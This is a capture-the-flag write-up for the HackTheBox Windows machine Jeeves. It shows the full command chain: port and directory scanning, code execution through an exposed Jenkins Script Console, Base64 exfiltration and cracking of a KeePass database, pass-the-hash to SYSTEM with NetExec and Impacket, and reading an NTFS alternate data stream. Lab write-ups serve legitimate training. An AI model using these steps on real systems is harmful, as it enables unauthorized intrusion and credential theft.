jeeves

Jeeves is a retired medium-difficulty Windows machine and my second box from the CPTS Preparation Track on HackTheBox Labs. The path starts with an unauthenticated Jenkins instance and continues through a KeePass database, Pass-the-Hash and an NTFS Alternate Data Stream.


🕵️ Enumeration#

After spawning the machine and connecting to the HTB Labs VPN, I started with a full TCP port and service scan:

🔍 Initial Nmap Scan#

nmap -Pn -sT -sC -sV -p- --open --min-rate 1000 -T4 \
  <TARGET_IP> \
  -oA nmap/jeeves-full

The options used here are:

  • -Pn skips host discovery and treats the target as online.
  • -sT performs a full TCP connect scan.
  • -sC runs Nmap’s default scripts.
  • -sV detects service versions.
  • -p- scans all TCP ports.
  • --open displays only open ports.
  • --min-rate 1000 asks Nmap to send at least 1,000 probes per second.
  • -T4 uses an aggressive timing template.
  • -oA saves the result in all major Nmap output formats.

The host exposes four TCP services:

80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows SMB
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT

The exposed services identify the target as a Windows host. The scan excerpt shown above does not establish an exact Windows edition or build. TCP port 50000 is especially interesting because its root path only returns a Jetty 404 response. This suggests that useful content may exist below another path.


🌐 Web Footprinting#

I used ffuf to enumerate directories on the Jetty service:

ffuf \
  -u http://<TARGET_IP>:50000/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -fc 404

FUZZ marks the part of the URL that ffuf replaces with entries from the wordlist. The -fc 404 option filters normal Not Found responses from the result.

The scan reveals the path /askjeeves/. I verified the endpoint with a HEAD request:

curl -I http://<TARGET_IP>:50000/askjeeves/

The response identifies an old Jenkins deployment:

HTTP/1.1 200 OK
X-Hudson: 1.395
X-Jenkins: 2.87
Server: Jetty(9.4.z-SNAPSHOT)

The Jenkins instance is accessible without authentication. More importantly, its administrative Script Console is exposed at:

http://<TARGET_IP>:50000/askjeeves/script

The Jenkins documentation describes the Script Console as a Groovy shell with the ability to create subprocesses and read files available to the Jenkins process. Access to it is therefore effectively administrative access to Jenkins.


👣 Gaining Foothold#

I first used two harmless commands to confirm code execution in the Script Console:

println "whoami".execute().text
println "hostname".execute().text

The commands execute as the following Windows user:

jeeves\kohsuke

For Windows commands that contain arguments, I passed each argument as a separate list item and executed the command through cmd.exe:

println (["cmd", "/c", "whoami /priv"].execute().text)

The token contains SeImpersonatePrivilege, but this write-up follows the KeePass route instead of attempting token impersonation.


✅ User Flag#

The user flag is stored on the kohsuke desktop. I read it through the Jenkins Script Console:

println (["cmd", "/c", "type C:\\Users\\kohsuke\\Desktop\\user.txt"].execute().text)
User flag: [REDACTED]

🚀 Privilege Escalation#

🔐 Locating the KeePass Database#

I searched the kohsuke profile recursively for KeePass database files:

println (["cmd", "/c", "dir /s /b C:\\Users\\kohsuke\\*.kdbx"].execute().text)

The options /s and /b make dir search subdirectories and print only the matching paths. The database is stored at:

C:\Users\kohsuke\Documents\CEH.kdbx

Instead of uploading another file-transfer tool, I used Groovy to read the database and return it as Base64:

println new File("C:\\Users\\kohsuke\\Documents\\CEH.kdbx")
  .bytes
  .encodeBase64()
  .toString()

I saved only the Base64 data as CEH.kdbx.b64 and decoded it on my attack host:

base64 -d CEH.kdbx.b64 > CEH.kdbx

I then checked the recovered file type:

file CEH.kdbx

🔓 Cracking the KeePass Master Password#

First, I converted the database into a hash format that John the Ripper understands:

keepass2john CEH.kdbx > CEH.hash

I then tested the hash against the RockYou wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt CEH.hash

After John found the password, I displayed the result with:

john --show CEH.hash
KeePass master password: [REDACTED]

I used KeePassXC’s command-line client to list the database entries recursively:

keepassxc-cli ls -R CEH.kdbx

The relevant entry is named Backup stuff. The -s option displays protected attributes in clear text:

keepassxc-cli show -s CEH.kdbx 'Backup stuff'

This entry contains an LM-hash/NT-hash pair in LMHASH:NTHASH format for the local Administrator account:

Administrator LMHASH:NTHASH: [REDACTED]

🎫 Pass-the-Hash#

Windows NTLM authentication can validate knowledge of the NT hash without requiring the original plaintext password. This technique is known as Pass-the-Hash.

I first tested the NT-hash component against SMB with NetExec:

nxc smb <TARGET_IP> \
  -u Administrator \
  -H <NT_HASH> \
  --local-auth

The --local-auth option tells NetExec to authenticate against the target’s local account database instead of a domain. NetExec’s exact output varies by version, so I check for both successful authentication and the version-specific marker for administrative access rather than reproducing an unverified output line.

I used Impacket PsExec with the LMHASH:NTHASH value recovered from KeePass:

psexec.py \
  -hashes '<LM_HASH>:<NT_HASH>' \
  'Administrator@<TARGET_IP>' \
  'whoami'

The command executes as SYSTEM:

nt authority\system

Some installations expose the upstream command as psexec.py, while packaged Debian or Kali installations may name it impacket-psexec.

PsExec-style execution uploads a temporary helper binary to an administrative share and creates a temporary Windows service. Impacket attempts to remove both, but cleanup is best-effort. The artifacts should be checked after a traceback or interrupted session.


✅ Root Flag#

There is no visible root.txt on the Administrator desktop. NTFS files can contain additional named data streams that do not appear in a normal directory listing.

I used the /R option to include Alternate Data Streams in the output:

dir /R C:\Users\Administrator\Desktop

The result exposes a stream named root.txt attached to hm.txt:

hm.txt
hm.txt:root.txt:$DATA

I read the named stream with PowerShell’s Get-Content cmdlet:

Get-Content -Path 'C:\Users\Administrator\Desktop\hm.txt' -Stream 'root.txt'
Root flag: [REDACTED]

The -Stream parameter selects the named NTFS stream instead of the file’s default data stream. Microsoft documents this behavior in the Get-Content reference.